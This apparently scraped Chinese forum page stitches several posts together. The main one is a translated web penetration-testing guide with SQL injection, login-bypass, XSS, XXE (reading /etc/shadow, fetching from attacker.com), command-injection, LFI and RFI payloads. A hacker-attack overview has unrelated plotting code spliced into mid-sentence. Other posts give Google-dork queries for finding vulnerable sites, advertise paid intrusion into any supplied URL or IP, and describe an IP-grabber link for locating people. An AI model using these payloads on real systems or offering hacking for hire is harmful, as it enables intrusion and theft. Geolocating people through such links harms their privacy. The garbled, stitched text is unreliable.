服务器Web 软件体系结构(技术栈)编程语言框架设计模式这个时候你可以注意一些需要特定页面跳转的功能点。通常这些功能点可以被手工操控,从而使其不用满足特定跳转顺序就可以实现,这可以让你有重大发现。(举个栗子,电子商务网站的付款功能,密码重置页面等) 0x03 漏洞挖掘在一次渗透测试过程中,漏洞挖掘是在攻击者的角度来了解整个Web应用的全貌。1. 过渡在你Mapping之后,并且进行了一些基本的功能性的分析后,就可以开始进行漏洞挖掘了。这个步骤中,你应该尽可能多的识别出Web应用存在的漏洞。这些漏洞不仅是The OWASP Top 10中包含的那些,还包含于应用的商业逻辑中。记住一点,你将会遇到大量的漏洞,它不属于任何一个现有的分类中,你应该时刻警惕这一点。 2. 内容挖掘2.1 漏洞扫描名称描述Nikto有指纹识别功能的Web服务漏洞扫描器 Nikto当之无愧的是最好的Web服务漏洞扫描器,特别是在大型的Web应用程序中表现非常好。它可以利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。 扫描目标并将结果导出成HTML格式nikto -h http://example.com -output ~/nikto.html -Format htm漏洞扫描通常是第二步和第三步的过渡。一旦有了扫描结果,一定要花时间去分析一下结果,打开一些引人注目的页面看看。3. 强制浏览(译者注:翻译的感觉很别扭,看下面内容应该能明白什么意思)名称描述Burp Engagement ToolsBurp Suite Pro中自带的有特殊用途的工具集Engagement Tool: Discover ContentBurp Suite Pro自带的用于强制浏览的工具Burp IntruderBurp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)FuzzDB包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。 强制浏览是一种挖掘技巧,它可以发现应用程序中没有被引用但是确实是可以访问的页面。Discover Content是Burp中专门用于此目的的工具。除此之外,Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改)。FuzzDB包含一些用于此目的的非常牛逼的字典,你可以在这里看看。 3.1 测试可选内容名称描述User Agent Switcher用于迅速切换浏览器的User Agent的一款Firefox插件Burp IntruderBurp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)FuzzDB包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。 在内容挖掘这一步,我非常喜欢做一件事。那就是利用User Agent Switcher切换不同的User Agent然后访问同一个特定页面。这是因为很多的Web应用对于不同的User-Agent和Referer请求头会返回不同的内容。 我经常使用Burp Intruder来模糊测试User-Agent和Referer请求头,一般还利用FuzzDB的字典。 4. 自动化的漏洞挖掘名称描述Burp Scanner自动化扫描安全漏洞的Burp Suite工具 当你在Mapping和进行漏洞挖掘的开始部分时候,Burp Passive Scanner就已经在后台悄悄运行。你应该先分析这份扫描结果,然后再进行Burp Active Scanner,这样在Burp Passive Scanner中发现的值得关注的页面就可以在Burp Active Scanner中进行详细的扫描。 由于Burp Active Scanner完成所需的时间非常长,我更喜欢只允许一小段时间,然后查看两者之间的扫描结果并记录结果。 !!!自动化的漏洞扫描是很危险的。用Burp Scanner可能导致不良的影响。除非你非常熟悉目标的功能与环境,否则你只应在非生产环境中使用。5. 配置5.1 默认配置在确认了目标所使用的技术后,很自然的一步跟进就是测试有没有默认配置。许多框架使用许多易受攻击默认配置的应用程序以便于向开发人员介绍他们的产品。然后由于开发人员的疏忽,这些示例应用被部署到和目标站点所在的同一台服务器上,这使得目标站点承受很大的风险。 5.2 错误配置在Web渗透测试的每一步,你都应该注意Web应用有没有错误的配置。你可以特别关注页面出现的错误信息,这些信息经常会给出很有用的数据库结构和服务器文件系统等信息。 错误信息几乎总能够发现一些。这些错误信息在注入和LFI(Local File Include)中特别有用。另外一个值得注意的是页面的敏感表单有没有禁用自动填充。比如密码字段经常会有一个“显示/隐藏”按钮。浏览器默认不会填充type="password"的input标签内容,而当密码字段是“显示”时,input标签就变成了type="text",这样浏览器就会进行自动填充。这在多用户环境下是一个隐患。 6. 身份认证在漏洞挖掘过程中,你应该认真审视你看到的每个登录表单。如果这些表单没有做很好的安全措施(比如双重认证,验证码,禁止重复提交等),攻击者就可能得到用户账户未授权的权限。取决于表单的不同实现以及不同的框架/CMS,即使登录失败目标站点也可能会透露出用户账户的一些信息。 如果你测试发现了上述所讨论的问题,你应该关注并记录。另外,如果登录表单没有加密(或者利用了旧版本的SSL/TLS),这也应该关注并记录。 6.1 模糊登录测试名称描述CeWL通过爬取目标站点来生成用户字典的工具Burp IntruderBurp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等) 在你认真审视了登录表单后,就可以开始登录测试了。CeWL是一款非常好用的用于生成一次性字典的工具。你可以利用-h查看帮助文档。 基本语法如下 cewl [options] www.example.com当你构造好用户字典后就可以开始用Burp Intruder进行实际的模糊测试了。通常我会用两个payload集(一个是用户名的,另一个是CeWL生成的密码)。Intruder的Attack Type通常应该选Cluster Bomb。 7. Session管理Session-token/Cookie分析在渗透测试过程中虽然不是很吸引人的部分,但确实非常重要的一块。通常是这样子的,你想了解整个web应用是如何跟踪Session,然后用Burp Sequencer这样的工具去测试session token的随机性/可预测性。一些应用(较传统的应用)会把session的内容存储在客户端。有时候这些数据里面会包含有加密的,序列化的敏感信息。 这时也应该检查HTTP返回头的Set-Cookie是否包含Secure和HttpOnly的标识。如果没有的话就值得注意了,因为没有理由不设置这些标识位。 Google搜索你得到的session token,可能会有一些发现,比如Session可预测等,这样就可以进行Session劫持攻击。7.1 用Burp测试Session Tokens名称描述Burp SequencerBurp用来分析数据集的随机性的模块 Burp Sequencer是用来测试Session Token随机性和可预测性的很好的工具。当你用这个工具来测试目标的Session管理时,你应该先清除所有的Cookies,然后重新认证一次。然后就可以把带有Set-Cookie头的返回包发送给Burp Sequencer,然后Sequencer就会启动新的拦截对Token进行分析。通常10000次请求就差不多可以判断随机性和可预测性了。 如果发现Session token不够随机,那就可以考虑Session劫持了。 8. 授权授权漏洞很像功能级访问控制缺失和不安全的直接对象引用漏洞,是很长一段时间我发现的最流行的漏洞。这是因为许多的开发者没有想到一个低权限甚至是匿名用户会去向高权限的接口发送请求(失效的权限控制)。 http://example.com/app/admin_getappInfo或者是去请求其他用户的数据(不安全的直接对象引用,译者注:水平越权) http://example.com/app/accountInfo?acct=notmyacct8.1 测试权限控制名称描述Compare Site MapsBurp的用于测试授权的模块 这里有个小技巧,就是注册两个不同权限的用户,然后用高权限的用户去访问整个Web应用,退出高权限用户,登录低权限用户,然后用Burp的Compare Site Maps工具去测试哪些页面的权限控制没有做好。 9. 数据验证测试名称描述Burp Repeater用于手工修改、重放HTTP请求的Burp模块 注入漏洞的存在是因为Web应用接受任意的用户输入,并且在服务端没有正确验证用户的输入的有效性。作为一个渗透测试者,你应该注意每一个接受随意的用户输入的地方并设法进行注入。 因为每个Web应用情况都不一样,所以没有一种万能的注入方式。接下来,我会把注入漏洞进行分类并且给出一些Payload。Burp Repeater是我测试注入漏洞时最常使用的工具。它可以重放HTTP请求,并且可以随时修改Payload。 有一件事需要谨记:漏洞挖掘阶段要做的只是识别漏洞,而漏洞利用阶段才会利用漏洞做更多地事。当然,每个注入漏洞都值得被记录,你可以在漏洞挖掘阶段之后对这些注入漏洞进行深入的测试。 在每个分类下可以参照OWASP获取更多地信息。 9.1 SQLi任何将输入带入数据库进行查询的地方都可能存在SQL注入。结合错误的配置问题,会导致大量的数据被攻击者盗取。 我推荐你在做SQL注入时参照这个Wiki。如果你输入了这些Payload得到了数据库返回的错误信息,那么目标就非常有可能存在SQL注入漏洞。 Sqlmap是一款自动化的SQL注入工具,我将会在漏洞利用阶段介绍它。 OWASP-测试SQL注入) 示例' OR 1=1 -- 1 ' OR '1'='1 ' or 1=1 LIMIT 1;-- admin';-- http://www.example.com/product.php?id=10 AND 1=19.2 跨站脚本攻击(XSS)攻击者利用Web应用程序发送恶意代码(通常是JavaScript代码)给另外一个用户,就发生了XSS。 有三种不同的XSS: 存储型。当提供给Web应用的数据是攻击者事先提交到服务器端永久保存的恶意代码时,发生存储型XSS。反射型。当提供给Web应用的数据是服务端脚本利用攻击者的恶意输入生成的页面时,发生反射型XSS。DOM型。DOM型XSS存在于客户端的脚本。OWASP-测试XSS 示例<IMG SRC=javascript:alert('XSS')> "><script>alert('XSS')</script><" " onmouseover="alert('XSS') http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT> %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e9.3 XML 注入当Web应用的XML解析器没有正确的验证攻击者传入的XML文档,就会发生XML注入。 OWASP-测试XML注入) 示例Username = foo< Username = foo<!--9.4 XML实体注入(XXE)若实体的定义是一个URI,那么这个实体就叫做外部实体。除非特别配置,不然外部实体会导致XML解析器去请求这个URI。比如请求本地或远程的一个文件。 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>9.5 模板注入模板注入就是攻击者利用模板的语法注入恶意代码。 Portswigger-服务端模板注入 示例<%= 7 * 7 %> {{ 7 * 7 }}9.6 命令注入用户注入操作系统的命令到Web应用程序并被执行,就发生了命令注入。 OWASP-测试命令注入) 示例http://sensitive/cgi-bin/userData.pl?doc=/bin/ls| http://sensitive/something.php?dir=%3Bcat%20/etc/passwd Doc=Doc1.pdf+|+Dir c:\9.7 恶意重定向当应用没有检查用户可控输入时,攻击者输入了恶意的URL并被应用接受时发生。 OWASP-测试客户端恶意重定向) 示例http://www.target.site?#redirect=www.fake-target.site http://www.target.site??url=http://www.fake-target.site9.8 本地文件包含(LFI)LFI指的是Web应用允许包含本地服务器端存在的文件。 OWASP-测试本地文件包含 示例http://vulnerable_host/preview.php?file=../../../../etc/passwd http://vulnerable_host/preview.php?file=../../../../etc/passwd%009.9 远程文件包含(RFI)RFI指的是Web应用允许包含远程服务器上存在的文件。 OWASP-测试远程文件包含 示例http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page10. 逻辑漏洞想要发现逻辑漏洞,你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后,你才能推想哪里有可利用的地方。测试逻辑漏洞时,可以回想作为普通用户是如何使用Web应用的功能的,是如何一步一步完成各种动作的,然后你要做的就是不按照这些步骤来。 此外,这时候也可以测试下输入一些不切实际的值。(比如一款健生app,用户输入自己的跑步里程)。 这时也可以测试非法文件上传。 11. 加密算法漏洞名称描述SSLyzeTLS/SSL分析工具 测试Web应用的TLS/SSL实现的质量,我推荐先去这里,如果搞不到,可以用SSLyze。 示例sslyze --regular www.example.com分析的目的可以归结为: 目标是否使用了某种形式的加密手段。目标使用的加密手段是否已经过时(TLS 1.2, SSL2/SSl3)。这时候也应该注意目标是否用了脆弱的加密算法(MD5,RC4等),是否支持正向加密(译者注: 一次一密)等。 12. 拒绝服务拒绝服务是利用某种手段让目标无法为合法用户提供服务。拒绝服务的类型包括用户文件上传(上传巨大文件)到用户账户锁定(为了防止登录爆破)等。 如果存在载入很慢的页面或者是Ajax请求很卡,那么就意味着这个地方可能会被用于拒绝服务攻击。 13. Flash漏洞名称描述Firefox Developer ToolsFirefox浏览器自带的用于诊断、审计、调试客户端代码的工具JPEXS (FFDec)开源的SWF文件反汇编工具 如果目标使用了flash或者其他的需要编译的客户端技术(如silverlight),那么你应该下载下来然后利用JPEXS FFDec这样的反汇编工具来审计他们的源代码。如果你成功的对他们进行了逆向工程,你可能会发现一些隐藏的漏洞。 0x04 测试Web服务Web服务用于机器之间的数据交换,他们应该用之前介绍的方法进行测试(Mapping->漏洞挖掘->漏洞利用),可以用Burp对请求进行拦截,然后分析接口返回的数据。 1. 测试REST服务如果有文档的话,测试REST服务之前应该阅读它。当然,这通常是白盒测试或者是灰盒测试时的做法,或者你想更深入的进行测试时也可以这么做。 在黑盒测试过程中,我们可以用burp拦截请求和响应,观察JSON格式的响应信息来了解接口的作用,但是这个过程非常麻烦,不是很推荐。 因为REST使用http协议,所以我们也可以测试之前的一些漏洞比如SQLi和XSS。 测试REST服务时可以参考以下文章: https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet2. 测试SOAP服务名称描述Wsdler (BApp)可以解析WSDL文件,然后测试所有的允许的方法的请求 尽管如今我在渗透测试中观察到REST服务比SOAP服务更多,但还是应该注意它。 基于SOAP的Web服务有一点很好,就是他是通过WSDL文件自描述的。你可以用Wsdler (BApp)这样的工具来解析WSDL文件,然后用Burp Repeater来发送测试请求。 和REST一样,我们也可以测试之前的一些漏洞比如SQLi和XSS。 检查任何一个在mapping和漏洞挖掘时发现的和服务有关的路径比如,http://exampleapplication.com/service查看WSDL文件获取接口信息然后导入Burp在Burp Proxy的历史标签页,把WSDL文件通过Parse WSDL右键选项加入到Wsdler扩展发送测试请求给Repeater,观察服务如何工作测试SOAP服务时可以参考: https://blog.netspi.com/hacking-web-services-with-burp/0x05 漏洞利用在漏洞利用阶段,是利用之前发现的漏洞,评估他们影响范围与风险。简单来说,这一步就是查阅之前步骤中你所发现与记录的信息,尽可能深地利用发现的漏洞。有时在漏洞利用过程中,你可能需要更高的权限才能进行下去,这时你应该返回去,从mapping步骤开始重新迭代之前的过程。 下面是一些示例场景,但这一步是非常独特的。 1. 利用场景2. 利用XSS2.1 浏览器劫持名称描述BeEF基于web的XSS平台 如果你发现目标应用确实存在XSS漏洞,这时你可以试试是否可以用BeEF这样的工具来控制目标浏览器。 可以参考这篇。 你可以使用自己的浏览器来验证XSS漏洞的危害性当你向客户展示你发现的XSS漏洞时。 3. 利用SQLi3.1 数据提取名称描述SQLMap自动化的SQLi工具,可以检测和利用基于许多流行的关系型数据库的SQL注入漏洞 如果目标存在SQLi且为了提取数据,SQLMap是首选。 SQLMap官网有详细的教程,我推荐你仔细看看。 3.2 离线密码爆破名称描述Hashcat世界上最快最先进的密码恢复工具 当你得到目标应用账户的密码时,可以尝试这个。 如果密码用了哈希算法加密,你可以用hashcat结合一个好的字典比如rockyou.txt来恢复密码。可以看这篇。 毋庸置疑,这将是您在渗透测试结束时可以为客户带来的最大发现之一。 3.3 认证绕过你可以尝试利用SQLi来提升自己的权限。网上有很多关于此的文章,下面这些payload你可以尝试在一些脆弱的表单里输入: admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=14. 跨站请求伪造(CSRF)名称描述Burp: Generate CSRF PoC用于生成CSRF Poc的Burp模块 如果目标存在CSRF漏洞(Burp Scanner会发现),你可以用Generate CSRF PoC来验证是否真的存在。 可以看这篇教程。 大概就下面这样: 拦截一个HTTP请求(通常是修改账户信息的)在Burp中右键Generating the CSRF PoC(修改一些请求体的信息)保存poc到一个html文件打开html文件并点击提交验证信息是否被恶意篡改0x00 结尾感谢阅读。
  7. 顶级黑客与一般黑客真正的区别是什么? 黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。 非破坏性攻击一般是为了扰乱系统的运行,并不盗窃系统资料,通import numpy as np import pandas as pd import matplotlib.pyplot as plt # 1. simple plot with 4 numbers plt.plot([1, 3, 2, 4]) plt.show() # 2. points have x and y values; add title and axis labels plt.plot([1, 2, 3, 4], [1, 4, 9, 16]) plt.title('Test Plot', fontsize=8, color='g') plt.xlabel('number n') plt.ylabel('n^2') plt.show() # 3. change figure size. plot red dots; set axis scales x: 0-6 and y: 0-20 plt.figure(figsize=(1,5)) # 1 inch wide x 5 inches tall plt.plot([1, 2, 3, 4], [1, 4, 9, 16], 'ro') # red-o plt.axis([0, 6, 0, 20]) # [xmin, xmax, ymin, ymax] plt.annotate('square it', (3,6)) plt.show() # 4. bar chart with four bars plt.clf() # clear figure x = np.arange(4) y = [8.8, 5.2, 3.6, 5.9] plt.xticks(x, ('Ankit', 'Hans', 'Joe', 'Flaco')) plt.bar(x, y) # plt.bar(x, y, color='y') # plt.bar(x, y, color=['lime', 'r', 'k', 'tan']) plt.show() # 5. two sets of 10 random dots plotted d = {'Red O' : np.random.rand(10), 'Grn X' : np.random.rand(10)} df = pd.DataFrame(d) df.plot(style=['ro','gx']) plt.show() # 6. time series - six months of random floats ts = pd.Series(np.random.randn(180), index=pd.date_range('1/1/2018', periods=180)) df = pd.DataFrame(np.random.randn(180, 3), index=ts.index, columns=list('ABC')) df.cumsum().plot() plt.show() # 7. random dots in a scatter N = 50 x = np.random.rand(N) y = np.random.rand(N) colors = np.random.rand(N) sizes = (30 * np.random.rand(N))**2 # 0 to 15 point radii plt.scatter(x, y, s=sizes, c=colors, alpha=0.5) plt.show()常采用拒绝服务攻击或信息炸弹; 破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的。下面为大家介绍4种黑客常用的攻击手段 <img src="https://pic2.zhimg.com/50/v2-b20747fe3d619e9000dc2cccfa6d150d_hd.jpg?source=1940ef5c" data-caption="" data-size="normal" data-rawwidth="477" data-rawheight="332" class="origin_image zh-lightbox-thumb" width="477" data-original="https://pic4.zhimg.com/v2-b20747fe3d619e9000dc2cccfa6d150d_r.jpg?source=1940ef5c"/> 1、后门程序 由于程序员设计一些功能复杂的程序时,一般采用模块化的程序设计思想,将整个项目分割为多个功能模块,分别进行设计、调试,这时的后门就是一个模块的秘密入口。在程序开发阶段,后门便于测试、更改和增强模块功能。正常情况下,完成设计之后需要去掉各个模块的后门,不过有时由于疏忽或者其他原因(如将其留在程序中,便于日后访问、测试或维护)后门没有去掉,一些别有用心的人会利用穷举搜索法发现并利用这些后门,然后进入系统并发动攻击。 2、信息炸弹 信息炸弹是指使用一些特殊工具软件,短时间内向目标服务器发送大量超出系统负荷的信息,造成目标服务器超负荷、网络堵塞、系统崩溃的攻击手段。比如向未打补丁的 Windows 95系统发送特定组合的 UDP 数据包,会导致目标系统死机或重启;向某型号的路由器发送特定数据包致使路由器死机;向某人的电子邮件发送大量的垃圾邮件将此邮箱“636f7079e799bee5baa631333363376364撑爆”等。目前常见的信息炸弹有邮件炸弹、逻辑炸弹等。 <img src="https://pic2.zhimg.com/50/v2-d2489c140487a87da42d6b2622e720df_hd.jpg?source=1940ef5c" data-caption="" data-size="normal" data-rawwidth="512" data-rawheight="268" class="origin_image zh-lightbox-thumb" width="512" data-original="https://pic2.zhimg.com/v2-d2489c140487a87da42d6b2622e720df_r.jpg?source=1940ef5c"/> 3、拒绝服务 拒绝服务又叫分布式D.O.S攻击,它是使用超出被攻击目标处理能力的大量数据包消耗系统可用系统、带宽资源,最后致使网络服务瘫痪的一种攻击手段。作为攻击者,首先需要通过常规的黑客手段侵入并控制某个网站,然后在服务器上安装并启动一个可由攻击者发出的特殊指令来控制进程,攻击者把攻击对象的IP地址作为指令下达给进程的时候,这些进程就开始对目标主机发起攻击。这种方式可以集中大量的网络服务器带宽,对某个特定目标实施攻击,因而威力巨大,顷刻之间就可以使被攻击目标带宽资源耗尽,导致服务器瘫痪。比如1999年美国明尼苏达大学遭到的黑客攻击就属于这种方式。 4、网络监听 网络监听是一种监视网络状态、数据流以及网络上传输信息的管理工具,它可以将网络接口设置在监听模式,并且可以截获网上传输的信息,也就是说,当黑客登录网络主机并取得超级用户权限后,若要登录其他主机,使用网络监听可以有效地截获网上的数据,这是黑客使用最多的方法,但是,网络监听只能应用于物理上连接于同一网段的主机,通常被用做获取用户口令。 <img src="https://pic1.zhimg.com/50/v2-2aa6a2ad2c05d3fd034f597aa6de6b36_hd.jpg?source=1940ef5c" data-caption="" data-size="normal" data-rawwidth="510" data-rawheight="318" class="origin_image zh-lightbox-thumb" width="510" data-original="https://pic1.zhimg.com/v2-2aa6a2ad2c05d3fd034f597aa6de6b36_r.jpg?source=1940ef5c"/> 5、DDOS 黑客进入计算条件,一个磁盘操作系统(拒绝服务)或DDoS攻击(分布式拒绝服务)攻击包括努力中断某一网络资源的服务,使其暂时无法使用。 这些攻击通常是为了停止一个互联网连接的主机,然而一些尝试可能的目标一定机以及服务。 这些攻击的主要目标企业或网站的大流量。 DDOS没有固定的地方,这些攻击随时都有可能发生;他们的目标行业全世界。分布式拒绝服务攻击大多出现在服务器被大量来自攻击者或僵尸网络通信的要求。 <img src="https://pic4.zhimg.com/50/v2-fd9f57351617ef507d1f8350c3543d20_hd.jpg?source=1940ef5c" data-caption="" data-size="normal" data-rawwidth="454" data-rawheight="320" class="origin_image zh-lightbox-thumb" width="454" data-original="https://pic2.zhimg.com/v2-fd9f57351617ef507d1f8350c3543d20_r.jpg?source=1940ef5c"/> 服务器无法控制超文本传输协议要求任何进一步的,最终关闭,使其服务的合法用户的一致好评。这些攻击通常不会引起任何的网站或服务器损坏,但请暂时关闭。 这种方法的应用已经扩大了很多,现在用于更恶意的目的;喜欢掩盖欺诈和威慑安防面板等。 6、密码破解当然也是黑客常用的攻击手段之一。
  8. 限制访问网站、过滤特定网址、禁止访问指定网站的方法 许多公司出于管理员工上网行为的需要,经常限制电脑访问一些网站例如游戏网站、购物网站或是视频网站等等。网上介绍了一些方法,通过windows操作系统可以实现限制网址访问,但是设置起来往往比较麻烦,对于电脑较多的公司来说并没有可行性。 相对而言,通过软件就要简单的多了,例如有一款软件叫做大势至电脑文件防泄密系统,这个软件自带的网址黑白名单功能正好是我们需要的,下面就来介绍一下具体设置方法。 首先我们在官网下载软件:http://www.grablan.com/monitorusb.html 双击安装程序开始安装软件,安装完成后,软件将自动隐藏运行,此时可以按组合键alt+F2调出软件的登录窗口,输入默认用户名admin和密码123就可以进入软件主界面了,如下图所示: 我们可以看到软件界面上有两个选项分别是:“禁止打开的网页”和“只允许打开的网页”,具体设置方法是: 设置禁止网页列表:勾选“禁止打开的网页”,点击“+/-”,在弹出的窗口中输入要禁止打开的网站名称,例如禁止访问百度,只需输入“百度”,点击“添加”,保存即可。设置“只允许打开的网页”方法相同。如下图: 设置完成后,可以打开浏览器测试一下控制效果,可以发现,当用户访问禁止网页列表中的网址时,浏览器将自动退出。这个方法是不是简单了很多呢,有兴趣的朋友可以试用一下。
  9. 成为一个黑客需要掌握哪些知识? 为了方便大家查缺补漏,避免学习过程出现知识盲点的情况,小风专门写了这篇文章,因为内容比较多,不会对某个技术做详细的讲解,只会说明该掌握哪些知识点。 一、学习前必须掌握的基础知识没有结实的地基建不了高楼,没有基础作为积淀提高不了技术,先掌握好基本知识才是王道。 1、计算机网络想要了解网络通信的原理,绕不开OSI七层协议模型、TCP/IP四层模型,有了这些网络数据才得以传输。 2、网站运行原理需要了解域名、服务器、cdn、数据库、端口、前端与后端的关系。 3、HTTP协议需要了解报文格式、状态消息(即状态码)、https加密协议、学会对数据进行抓包分析、知道cookies是干嘛的 4、语言基础html基础、php、asp、python基础、表单提交 二、主流黑客学习框架1、SQL注入了解SQL注入发生原理,熟悉掌握sqlmap工具,学会手工注入 2、暴力破解懂得利用burpsuite等软件进行暴力破解 3、XSS学会XSS三种攻击方式:反射型、存储型、dom型 4、文件上传了解文件上传漏洞产生的几种方式:IIS解析漏洞、Apache解析漏洞、PHP CGI 解析漏洞、JS本地验证绕过、MIME类型检测、服务端检测绕过、截断绕过、白名单绕过 5、文件包含本地文件包含、远程文件包含、伪协议 6、扫描学会利用工具扫描网站漏洞、扫描网站目录、扫描c段、服务器开放端口、扫描出二级域名 7、信息收集学会收集站点信息(网站语言、编码、敏感文件、架构)、服务器信息(操作系统、环境版本)、个人信息、懂得利用百度谷歌收集数据。 8、kali系统学会利用kali系统上的功能 9、代码审计 学会使用RIPS、VCG、Fortify SCA等工具检查源代码中的漏洞,学会人工代码审计 上面这些属于比较系统的,学习起来方便更好的理解漏洞
  10. 看看黑客如何使用搜索引擎 搜索引擎已经成为上网必不可少的工具之一,聪明的黑客们发现,搜索引擎也能成为发动网络攻击的工具。 Google Hacking,原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,如今已不再局限于Google,泛指利用各种搜索引擎实施黑客攻击的技术和行为。 黑客们是如何使用搜索引擎,发动攻击的呢? 在搜索引擎的搜索框内,用户键入关键词,回车后便会展示自己想要的结果。实际上,这个看似简单的搜索框,却暗藏玄机。 除了输入关键词外,搜索引擎还会提供多种语法,帮助用户提高搜索效率。 例如搜索某一本网络小说时,使用filetype语法,就能搜索到对应格式的文件。 这些可以方便用户提高搜索效率的语法,却成了黑客手中的入侵利器。他们可以利用这些语法,发现目标网站的后台管理地址、进行端口扫描、SQL注入等等。 那么,黑客是如何使用这些语法的呢? site:在特定的网址中搜索搜索关键词时,搜索引擎展示的结果包含了所有网站,有时候这并不便捷。如果想在搜索结果只展示某一个网站的内容,可以使用site语法。例如想在微软官网搜索漏洞编号,只需在搜索引擎中键入“漏洞编号 site:Microsoft”即可。 inurl:在URL中搜索指定的内容链接inurl语法可以搜索链接的内容,对于普通用户来说,他们更关心网页内容,而不是链接的内容,这个语法意义并不大。但对于黑客来说,它却是一把利器。例如在搜索引擎中输入inurl:.php?id=或者inurl:.jsp?id=等等,可以搜索可能存在的SQL注入链接。 filetype:限定搜索的文件类型filetype可以限定搜索的文件类型,普通用户可能会使用这个语法,搜索电子书、视频、图片等资源,而在黑客眼里,filetype可以进行SQL数据库挖掘。例如:filetype:sql + "IDENTIFIED BY" -cvs intitle:搜索网页标题中包含指定内容的网页网页标题一般会表明该页面的内容,例如搜索“网络安全”,展示的结果均与网络安全有关。黑客会利用intitle语法,搜索带有“后台”、“登录”,这时候一些网站后台登录页面,便会暴露出来。 上面这些都只是基础语法,对黑客来说都只是小儿科,经验丰富的黑客,往往结合多种语法使用,例如结合inurl:和intext进行端口扫描等等。甚至还有一个网站,专门汇集了很多搜索语句,登录这个网站copy这些语句就能搜索一些平时无法被搜索到的内容。
  11. 我有个站有需求,有高手吗?
  12. 不用客气,有什么问题直接在论坛提问即可。
  13. 如果是用国外的,就随便选个其他机器。如果针对的是国内的网友,尽量选择CN2GIA 线路的,比较快,延迟低。
  14. https://www.thehackerworld.com/cn/index.html 点击进入即可进行沟通交流。
  15. 黑客攻防渗透入侵 您只需要提供网址/IP或程序下载地址给我们即可,我们将利用技术帮您达到想要的需求,保障您的安全。 顶尖的技术团队,均获得CEH、OSCE、OSCP、OSEE 和 OSWE证书 曾为多家银行/qp bc/大型企业/个人用户尽心多次合作都已取得很好的成绩。 对客户提供的目标进行精准的渗透,达到您提供的需求,我们的服务也是业界最好的。 公司技术人员达20+精通各渗透入侵/逆向破解/软件编程等行业,全天候24小时为您提供技术支持。
  16. https://www.thehackerworld.com/cn/hack.html
  17. 拿met.red举例, 你创建一个key。会有一个链接 人家点击这个链接获取到的IP,就可以定位大致位置。